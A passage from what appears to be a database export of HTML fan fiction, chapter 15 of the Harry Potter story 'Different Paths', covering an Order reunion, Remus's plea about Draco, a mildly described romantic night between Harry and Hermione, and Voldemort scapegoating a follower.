waiting for!</p>\n\n\n\n\n\n\n'),
	(33, 15, ' <p><b>Title:</b> Different Paths (15)<br>\n\n\n<b>Author name:</b> E. C. R. Potter<br>\n\n\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:&nbsp; </b>WARNING!&nbsp; Please read this A/N.&nbsp; This chapter contains sex!&nbsp; Yes sex!&nbsp; I&#8217;m bending my own personal rules for this chapter to incorporate a plot bunny that bit me months ago.&nbsp; I&#8217;m also veering away from the &#8220;Kenshin&#8221; plotline in this chapter as well, the most veering I will do.&nbsp; Of course, I said that I was making changes to the RK plot line so it looks like that&#8217;s what I&#8217;m doing here.&nbsp; Whichever way, I&#8217;ll only keep the descriptions of sex at a PG-13 level, maybe a very low R level.&nbsp; Anyway, please read the A/N at the end of this chapter as well.&nbsp; I&#8217;m going to be explaining more stuff there.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p>This chapter is dedicated to Msscribe.</p>\n\n<p><b>&nbsp;</b></p>\n\n<p><b>Chapter 15: Between Harry and Hermione</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry!&#8221;&nbsp; When Harry and Sirius entered the Leaky Cauldron, the first thing they saw was the ecstatic form of Hermione running toward him.&nbsp; The next instant, she had enveloped Harry into a strong hug.&nbsp; &#8220;Oh Harry, you&#8217;re back!&nbsp; I missed you so much I didn&#8217;t know if I could last these past few days.&nbsp; Harry, are you OK?&nbsp; No injuries or sickness?&nbsp; Did you learn the Dark Magic Cleanser?&nbsp; Were you hurt during your training?&nbsp; I will never forgive anyone if they hurt you, not even Dumbledore.&nbsp; He didn&#8217;t hurt you did he?&nbsp; You are OK right?&nbsp; Harry, you...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Realizing that Hermione was rambling, Harry shut her up by kissing her fully on the lips.&nbsp; When he pulled away, Hermione was wearing a dazed smile and a blush on her face.&nbsp; Harry grinned and said, &#8220;I missed you too, Hermione.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius cleared his throat to remind Harry and Hermione of his presence.&nbsp; Hermione finally noticed him for the first time and grinned sheepishly.&nbsp; &#8220;Hello Sirius,&#8221; said Hermione, giving him a hug.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hello Hermione,&#8221; said Sirius.&nbsp; &#8220;You sure are looking better.&nbsp; The last I heard, you were suffering horrible depression.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, I&#8217;m a lot better now,&#8221; said Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Did you get the owl from Moody?&#8221; asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes we did,&#8221; answered Hermione.&nbsp; &#8220;We had the entire Order out in London helping out the Ministry officials.&nbsp; We managed to hold off the Death Eater attacks but far too many members of the Order were injured in the battle, some severely.&nbsp; And, oh Harry...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; What is it?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, it&#8217;s Ginny.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What happened to Ginny?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;DAMN IT!&nbsp; DAMN IT!&nbsp; CURSES!&nbsp; DAMN IT!&nbsp; CURSES!&nbsp; CURSES!&nbsp; AAARRGH!&#8221;&nbsp; The string of curses was coming a highly irritated, though very much alive Ginny Weasley.&nbsp; At present, she was in her own room at the Leaky Cauldron in the process of going mad.&nbsp; &#8220;I&#8217;ve never been more humiliated in my life!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes, yes, you already said that, &#8220;muttered Ron.&nbsp; He was seated on the floor in front of his hysterical sister, looking exasperated.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Damn it!&nbsp; I can&#8217;t believe I wasn&#8217;t able to do anything!&#8221; screamed Ginny, pulling at her hair.</p>\n\n<p>&nbsp;</p>\n\n<p>Ron sighed and turned to Harry, Hermione, and Sirius, who had been observing the situation for the past few minutes.&nbsp; &#8220;She&#8217;s been like this for hours,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What happened?&#8221; asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione sighed.&nbsp; &#8220;It&#8217;s a bit of a story...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8220;What?&#8221;&nbsp; Ginny spun around, only to face the tall form of Grindelwald, holding a dagger over her head.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Well, well, well.&nbsp; And to think that our plans were being spoiled by a little girl,&#8221; said Grindelwald.&nbsp; &#8220;Well, just for that, I guess I need to teach you a lesson.&#8221;&nbsp; Before Ginny could react, Grindelwald swung the dagger down.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>However, just before Grindelwald was able to slash Ginny, Angelus appeared right next to him and grabbed the dagger, disintegrating it with the Double-Neutral Spell.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Ginny was completely frozen in shock and fear as Angelus gave Grindelwald a stern look.&nbsp; If Grindelwald could see, he would&#8217;ve been glaring at Angelus. Finally, Grindelwald spoke, &#8220;What&#8217;s the big idea, Angelus?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Exercising my rights,&#8221; said Angelus.&nbsp; &#8220;You do remember my conditions don&#8217;t you?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Ah yes, that&#8217;s right.&nbsp; You were the other conditional Death Eater aside from myself weren&#8217;t you?&#8221; mused Grindelwald.&nbsp; &#8220;My conditions were that I could attempt to kill Riddle whenever I chose to.&nbsp; What were yours again?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;The right to spare lives,&#8221; said Angelus.&nbsp; &#8220;I joined the Death Eaters on the single condition that I myself can decide whether to kill or spare my assassination targets.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;And you wish to spare this girl?&#8221; said Grindelwald with a slightly sarcastic tone.&nbsp; &#8220;Hmm, that creates a conflict of choices between us I&#8217;m afraid.&nbsp; What to do, what to do.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;We should retreat,&#8221; said Angelus quite bluntly.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Why is that?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;They knew we were coming.&nbsp; This plan was supposed to place the Dark Lord in full control of Britain.&nbsp; Yet, not only did we not catch the opposition by surprise like we had anticipated but they were also fully prepared.&nbsp; We must regroup.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Hmm, good point.&nbsp; Besides, I guess I&#8217;d like to hear what Riddle has to say about this.&#8221;&nbsp; With that, all of the Death Eaters disapparated and all that were left were the aurors, Hit Wizards, and Order members, many of them injured.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Hermione, Ron, and a few other Order wizards and witches climbed onto the roof Ginny was on.&nbsp; &#8220;Ginny? Are you OK?&nbsp; You aren&#8217;t hurt are you?&#8221; asked Ron, clearly concerned.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>For quite some time, Ginny remained frozen in shock as if she were on the Imperious.&nbsp; When she finally moved again, the first thing she did was let out an angry scream.&nbsp; &#8220;DAAAAAAAMN IT!&nbsp; DAMN IT!&nbsp; DAMN IT!&nbsp; CURSES!&nbsp; DAMN IT!&nbsp; CURSES!&nbsp; CURSES!&nbsp; DAMN IT!&nbsp; DAMN IT!&nbsp; DAMN IT!...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&#8220;And she&#8217;s been like this since,&#8221; finished Hermione.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny started going into another tirade of curses and Harry, Hermione, and Ron started to consol her.&nbsp; Sirius however lingered behind, a frown on his face.&nbsp; &#8220;Hermione what did you say that monk like Death Eater&#8217;s name was again?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked up at Sirius.&nbsp; &#8220;Angelus.&nbsp; Why?&nbsp; Do you know him?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius crossed his arms and furrowed his eyebrows.&nbsp; &#8220;Perhaps.&nbsp; I just might,&#8221; he said darkly.&nbsp; <i>&#8216;So, Angelus, whatever happened to sticking up for the oppressed?&nbsp; If joining the Death Eaters is your way of doing that, you sure have a twisted way of going about it,&#8217;</i> he thought.&nbsp; <i>&#8216;Whichever way, I&#8217;ll be confronting you about it tomorrow.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>When Sirius had spoken, Ginny abruptly stopped her tirade.&nbsp; &#8220;Who are you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&nbsp; Oh yeah, sorry we&#8217;ve never met have we?&nbsp; Guess that makes sense since you&#8217;ve been in France these past two years.&nbsp; Harry and Remus have told me so much about you that I feel like I already know you.&nbsp; Anyway, I&#8217;m Sirius Black.&#8221;&nbsp; He stuck out his hand for a handshake.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny starred at Sirius&#8217;s outstretched hand.&nbsp; &#8220;Uh, yeah, sure.&#8221;&nbsp; She turned to Harry, Hermione, and Ron and asked, &#8220;Could someone please tell me what an Azkaban escapee convicted of murder is doing here conversing with us civilly?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ginny, I will vouch for Sirius&#8217;s innocence myself: he was framed for those crimes he was accused of years ago and was never given the chance to clear himself.&nbsp; He&#8217;s also an old friend of Remus&#8217;s and he will vouch for him as well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, if Remus can vouch for him.&#8221;&nbsp; Ginny shrugged and shook Sirius&#8217;s hand.&nbsp; &#8220;Glad I could meet you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius grinned.&nbsp; &#8220;Same here.&nbsp; Speaking of which, where&#8217;s Remus?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione, Ginny, and Ron paled.&nbsp; Hermione finally started speaking, &#8220;Well, er, uh, you see, Remus sort of had a...&#8221; Before Hermione could really say anything, Arabella Figg burst into the room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus is awake!&#8221; she proclaimed.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>There are not too many people, wizard or muggle, that knew there was a hidden garden on the back-side of the Leaky Cauldron.&nbsp; This yard was inaccessible from both Diagon Alley and Charing Cross Road and could only be entered through a small portal on the second floor of the Leaky Cauldron, accessible only by members of the Order of the Secret.&nbsp; The garden was a sancutuary of sorts for Order members.&nbsp; The portal led onto a wooden patio overlooking the garden.&nbsp; A small brook ran through the garden and there were apple trees growing along the very edges of the enclosed space.&nbsp; The walls that enclosed the garden, was also made of wood and the ground was covered with grass with a number of stepping-stones in certain places.&nbsp; Through the utilization of some sort of magic, the sky and sun were clearly visible from the garden.</p>\n\n<p>&nbsp;</p>\n\n<p>It was in this garden that Remus Lupin was standing, starring at the streaming brook while sipping a mug of Wolfsbane potion.&nbsp; It was the full moon that night after all.&nbsp; Remus didn&#8217;t look to well: his inner wolf was already starting to howl within him and his recent duel against Draco still had him heavily bandaged.&nbsp; But he was alive and at present, that was what mattered.</p>\n\n<p>&nbsp;</p>\n\n<p>As Harry, Ron, Hermione, Ginny, and Sirius entered Remus looked up, he smiled at Sirius.&nbsp; &#8220;Padfoot.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Moony, old pal, it&#8217;s great to see you again.&#8221;&nbsp; Sirius walked up to Remus and looked ready to hug his old friend but seemed to reconsider when he noticed how much pain Remus seemed to be in.&nbsp; Instead, they exchanged a slapping handshake.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You wanted to see us?&#8221; said Harry, as soon as Sirius and Remus had finished their reunion.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Remus.&nbsp; &#8220;Actually, I wanted to speak to you Harry.&nbsp; Although I&#8217;m not sure Ginny should hear this...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Wait a minute, you&#8217;re singling me out?&#8221; Ginny exclaimed quite outraged.&nbsp; &#8220;I don&#8217;t know what it is you have to say Remus but whatever you want to tell them, you can tell me as well!&nbsp; And that&#8217;s final!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus sighed wearily and took another sip of his wolfsbane potion.&nbsp; &#8220;Harry what I am going to ask you now is something so extreme you will probably think I&#8217;ve lost my mind, and perhaps I have.&nbsp; But this is absolutely essential: this is the only way he can be saved.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;OK Remus, you&#8217;re killing me with suspense here,&#8221; said Harry with a grin.&nbsp; The grin faltered when Harry noticed Remus&#8217;s serious face.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, I want you to kill Draco Malfoy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>For a moment, the garden was completely silent.&nbsp; Harry, Hermione, Ron, and Sirius looked completely shocked while Ginny looked beyond shocked.&nbsp; Finally, Harry broke the silence, &#8220;W-what?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco has crossed over,&#8221; said Remus.&nbsp; &#8220;He&#8217;s always lived far too closely to the edge by he&#8217;s finally fallen.&nbsp; I&#8217;ve been afraid of this for years.&nbsp; You know what it means to be be consumed by the dark side, Harry: you eventually lose your humanity.&nbsp; I don&#8217;t want that for Draco.&nbsp; Better for him to die a human than to cease being human.&#8221;&nbsp; Remus sighed and started rubbing the bridge of his nose.&nbsp; &#8220;I know that you would like to avoid killing at all costs but I&#8217;m asking you, no begging you to make an exception for Draco.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>After another few seconds of silence, Harry smiled and said, &#8220;No, I&#8217;m afraid I can&#8217;t do that Remus.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus sighed again.&nbsp; &#8220;Harry you haven&#8217;t been fighting the dark side as long as I have; you don&#8217;t fully understand the torture of falling to the dark side.&nbsp; I don&#8217;t want that to happen to Draco and death is the only way to prevent that for him at this point.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry shook his head, still smiling.&nbsp; &#8220;And I say he can still be saved,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Harry, I fought Draco myself.&nbsp; I experienced the power he possesses now.&nbsp; I felt, in my own blood how much he&#8217;s suffering...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;And, you <i>lived</i> to tell the tale of it,&#8221; finished Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Remus blinked.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Remus, to be blunt, if Draco Malfoy had truly gone over to the dark side you wouldn&#8217;t be alive now.&nbsp; Cyclonus-Diffendo is a lethal spell, I know Lucius once tried to use it on me about a year ago.&nbsp; The fact that you&#8217;re still alive means that Draco lessened the effect of the spell somewhat.&#8221;&nbsp; Remus was about to say something but Harry stopped him, &#8220;Unconsciously that is.&nbsp; I&#8217;m sure that in his mind Malfoy believes he has crossed over but I&#8217;m positive I can convince him otherwise.&nbsp; And besides, bringing Malfoy back is sure to make someone very happy.&nbsp; Isn&#8217;t that right Ginny?&#8221;&nbsp; Harry looked toward the redhead.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny was sitting on the patio very still, tears streaming down her cheeks.&nbsp; &#8220;W-what?&#8221; she whispered, snapping out of her daze as soon as Harry had spoken to her.&nbsp; It was only then when she noticed the tears rolling down her face.&nbsp; &#8220;Huh?&nbsp; Why am I crying?&#8221;&nbsp; She angrily wiped the tears away but they continued falling.&nbsp; &#8220;Why won&#8217;t the tears stop?&nbsp; I declared myself that I was bringing Draco Malfoy myself!&nbsp; I don&#8217;t care about Draco!&nbsp; I don&#8217;t care what happens to him!&nbsp; I don&#8217;t...don&#8217;t...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus smiled, regretting his request.&nbsp; <i>&#8216;I should&#8217;ve known,&#8217;</i> he thought.&nbsp; <i>&#8216;In my blind attempt to &#8216;save&#8217; Draco, I nearly stole, or rather asked Harry to steal what was most precious for Ginny away from her.&#8217;</i></p>\n\n<p>&nbsp;</p>\n\n<p>Harry smiled and kneeled down in front of Ginny.&nbsp; &#8220;Ginny I&#8217;m going to promise you that I will bring Draco back to you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny still had tears rolling down her cheeks.&nbsp; &#8220;I...I...&#8221; She jumped a little when Hermione put her arms around her and pulled her into a gentle hug.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you happy, Ginny?&#8221; asked Hermione as she gently stroked Ginny&#8217;s long red hair.</p>\n\n<p>&nbsp;</p>\n\n<p>That was the breaking point for Ginny.&nbsp; She whispered, &#8220;Yes,&#8221; and started sobbing into Hermione&#8217;s shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>That night it was the full moon.&nbsp; Remus was in his wolf form, being calmed by the wolfsbane potion and was lying around his bedroom.&nbsp; Sirius was keeping company with him in his dog form.&nbsp; Everybody else was fast asleep except one.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione was out on the patio of the hidden garden, gazing at the full moon and the stars, wearing her old blue bathrobe.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Couldn&#8217;t sleep?&#8221;&nbsp; OK, everybody else except two.</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione looked behind her and smiled.&nbsp; &#8220;Yes, I couldn&#8217;t.&nbsp; What are you doing up Harry?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I couldn&#8217;t sleep either, a lot on my mind.&#8221;&nbsp; Harry plopped down right next to her and glanced up at the moon.&nbsp; &#8220;Namely about how all this started during the last full moon.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione followed Harry&#8217;s line of sight to the full moon glistening off the brook.&nbsp; There were fireflies flying around in the garden, twinkling in the starlight.</p>\n\n<p>&nbsp;</p>\n\n<p>It was a beautiful night: a mysteriously beautiful night.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216;Much like a night one month ago,&#8217;</i> mused Hermione.&nbsp; &#8220;Harry, the last full moon was the night you left.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed.&nbsp; &#8220;I know.&nbsp; I&#8217;m sorry.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know you are,&#8221; said Hermione.&nbsp; She placed a hand on Harry&#8217;s shoulder.&nbsp; &#8220;I&#8217;ve forgiven you a long time ago.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry nodded and looked up at the moon again.&nbsp; A moment of silence passed between as they simply found comfort in each other&#8217;s presence.&nbsp; Finally, Harry broke the silence, &#8220;I&#8217;m going again tomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I know,&#8221; said Hermione.&nbsp; &#8220;I wish I could go with you.&nbsp; But I know I can&#8217;t.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m finally facing him tomorrow,&#8221; said Harry.&nbsp; &#8220;Sixteen years since my first encounter with him, three years since he came back, it all comes down to tomorrow.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione nodded.&nbsp; &#8220;Are you frightened?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m terrified,&#8221; said Harry.&nbsp; &#8220;There&#8217;s a very good chance that I won&#8217;t survive this final encounter.&nbsp; For me to be able to use the Dark Magic Cleanser I need to be absolutely determined to survive and I am.&nbsp; But there&#8217;s this nagging voice in the back of my head telling me that I won&#8217;t live past tomorrow and it just won&#8217;t shut up.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione put her hand back on Harry&#8217;s shoulder and gave him a comforting squeeze.&nbsp; &#8220;Harry listen to me, you will survive tomorrow.&nbsp; And you will win tomorrow.&nbsp; You have never lost in a confrontation against Voldemort and tomorrow you are finally going to beat him, once and for all.&nbsp; I have faith in your triumph because I have faith in you, ever since that troll.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry smiled.&nbsp; He turned to Hermione intending to thank her when it happened.&nbsp; Harry never knew what exactly had hit him.&nbsp; All he knew was that the instant their eyes met, something happened that changed their lives in that instant.&nbsp; There was Hermione, her brown hair glowing with a silvery aura in the moonlight, her brown eyes shining shining like a pair of gems, and her skin looking so creamy white in the soft light of the fireflies.&nbsp; Harry didn&#8217;t know how to describe her; &#8220;beautiful&#8221; seemed to be such an inadequate term.&nbsp; She looked otherworldly in Harry&#8217;s eyes, like an elf maiden or a woodland nymph, descending to the earth to preserve something beautiful in the world.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;H-Harry?&#8221; whispered Hermione.&nbsp; She had noticed the sudden change in Harry&#8217;s eyes as they darkened from their usual emerald color to a forest green hue.&nbsp; She didn&#8217;t know what to think as Harry lifted his hand to her cheek and she gasped when he started caressing it.&nbsp; Slowly, ever so slowly, Hermione felt herself leaning toward Harry, their lips getting closer and closer.&nbsp; <i>&#8216;Oh my God,&#8217;</i> she thought as their lips finally met.</p>\n\n<p>&nbsp;</p>\n\n<p>Ever since the night Hermione had learned about her parents&#8217; deaths, she and Harry had been on a slightly more than best friends status.&nbsp; They had kissed plenty of times, though not necessarily as much as an officially dating couple would have.&nbsp; They had gone to Hogsmeade with just the two of them plenty of times and they exclusively went to all dances together no matter how many people became jealous.&nbsp; That had occasionally shared a bed, especially if one of them was plagued by nightmares: one of them would sneak into the other&#8217;s room and they&#8217;d cuddle together all night until just before dawn when they would return to their own rooms.</p>\n\n<p>&nbsp;</p>\n\n<p>And yet, through all that, they had never kissed each other like this.&nbsp; It was gentle, sweet, yet passionate and strong.&nbsp; It was everything Hermione imagined a true kiss would be like and more.&nbsp; And the only thing Hermione could wish was that it would never end.</p>\n\n<p>&nbsp;</p>\n\n<p>And it didn&#8217;t.&nbsp; Later on, neither one would be able to recall how they had made it to Harry&#8217;s room, or for that matter onto Harry&#8217;s bed without their clothes.&nbsp; What they could recall were the gentle ways they kissed each other, touched each other, caressed each other, and finally for the first time in their lives danced with each other an oh so intimate dance.&nbsp; That night Hermione gave her innocence to Harry and he gave his to her.&nbsp; And Hermione&#8217;s soft tears of bliss shined in the moonlight, for she felt complete for the first time in her life.</p>\n\n<p>&nbsp;</p>\n\n<p>It was a beautiful night: a mysteriously beautiful night.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord, I have a proposition,&#8221; said Horace Salacion.&nbsp; They were back in the throne room of Voldemort&#8217;s secret lair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Proposition?&nbsp; For what?&#8221; asked Voldemort, his voice a little cool.&nbsp; He was seated in his throne while stroking Nagini who was coiled up on his right side.&nbsp; Yasmin was standing on his left looking a little apprehensive.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A proposition for absolute victory,&#8221; said Horace.&nbsp; &#8220;I have received word that the reason why the attack on London last night failed was because the Order of the Phoenix intervened.&nbsp; It has come under my observation that the Order must be punished.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort looked disinterested.&nbsp; &#8220;I am aware of this.&nbsp; So what are you proposing?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;When Potter, Snape, and Black come here tomorrow the defenses at the Leaky Cauldron will be weakened.&nbsp; Therefore, my proposition is that we only leave our three most powerful Death Eaters, Angelus, Grindelwald, and Seth behind to face them and send our remaining forces out to eliminate the Order of the Phoenix.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort did not look happy.&nbsp; &#8220;You know Horace, that is in clear violation of my plans, to have those three fact the entire Elite Ten here.&nbsp; Are you planning to upstage my plan with one of yours?&nbsp; Are you perhaps suggesting that your plan is superior to mine?&nbsp; Are you?&#8221;&nbsp; Voldemort sprang up angrily.&nbsp; &#8220;ARE YOU?!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort strode over to in front of Horace menacingly.&nbsp; For a second, Horace thought Voldemort was going to use the Cruciatus on him.&nbsp; However, Voldemort appeared to have something else on his mind, &#8220;Your arm, Horace.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hesitantly, Horace pulled up the sleeve of his right arm, exposing the Dark Mark.&nbsp; Voldemort pressed his finger onto the mark and Horace grimaced while experiencing the burning pain of the Dark Lord&#8217;s summons to his Death Eaters.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;M-my Lord?&#8221; questioned Horace.</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort glared at him.&nbsp; &#8220;You try to undermine my plans Horace, you face the consequences,&#8221; he said.&nbsp; Within seconds, the Elite Ten had gathered into the throne room.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My Lord, you summoned us?&#8221; Icicle spoke up first.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That I did,&#8221; said the Dark Lord.&nbsp; &#8220;It appears that we have a conspiracy in our midst.&#8221;&nbsp; To the surprise of everyone present, Voldemort threw Horace down to the ground.&nbsp; &#8220;Last night, Horace here concocted an interesting plan.&nbsp; While you were all out attacking London, Horace here alerted the Ministry of our actions while at the same time, attempting to set up an attack on Hogwarts.&nbsp; In essence, he made the attack on London into little more than a decoy while attempting to take the glory of victory for himself.&nbsp; Fortunately, the attack also failed and I have now brought the deceiver before you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace was completely speechless.&nbsp; What Voldemort had said, though partially true, was primarily a lie for the simple fact that Horace and Voldemort had planned the attacks on London and Hogwarts together.&nbsp; Yet, the Dark Lord was now setting him up as a scapegoat for the whole operation simply because he had disagreed with his master&#8217;s plans.&nbsp; Trembling, Horace looked up at the rest of the Elite Ten.&nbsp; Grindelwald looked delighted while Angelus&#8217;s expression was unreadable.&nbsp; The remaining Elite Ten, except Seth who knew what Voldemort was doing, looked horrified.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, the truth comes out eh?&#8221; said Grindelwald.&nbsp; &#8220;You know, I thought there was something fishy going on when all those Ministry and Order wizards started showing up.&nbsp; But is that all to the story?&nbsp; I wonder.&#8221;&nbsp; Grindelwald kneeled down in front of the trembling Horace and pulled out his dagger.&nbsp; He started to dangerously stab the ground around Horace&#8217;s fingers.&nbsp; Grindelwald leaned closer to Horace and whispered in a voice only he could hear, &#8220;But I wonder though.&nbsp; You see I suspect that you&#8217;re just a scapegoat for Riddle&#8217;s plans and I was just wondering what would happen if you told the Death Eaters learned the truth, if you told them.&nbsp; What would happen if there was a revolt right here right now?&#8221;&nbsp; Grindelwald than stood up and said in a voice heard by everyone, &#8220;Come on Mr. Salacion.&nbsp; Tell us the truth.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Horace glared at Grindelwald and stood up.&nbsp; Wordlessly he pulled out a dagger of his own and slashed his palms.&nbsp; Than he declared in a booming voice, &#8220;It is true!&nbsp; I planned the fiasco attack on London and the true attack on Hogwarts.&nbsp; However, I did it all for single purpose of absolute victory for Lord Voldemort.&nbsp; The only thing I am guilty of is my absolute loyalty to Lord Voldemort and my wish to see him in power: to bring Hell on Earth.&nbsp; If I must sacrifice every Death Eater available for that, so be it, I accept full responsibility!&nbsp; But my loyalty I swear, on my own blood!&#8221;&nbsp; 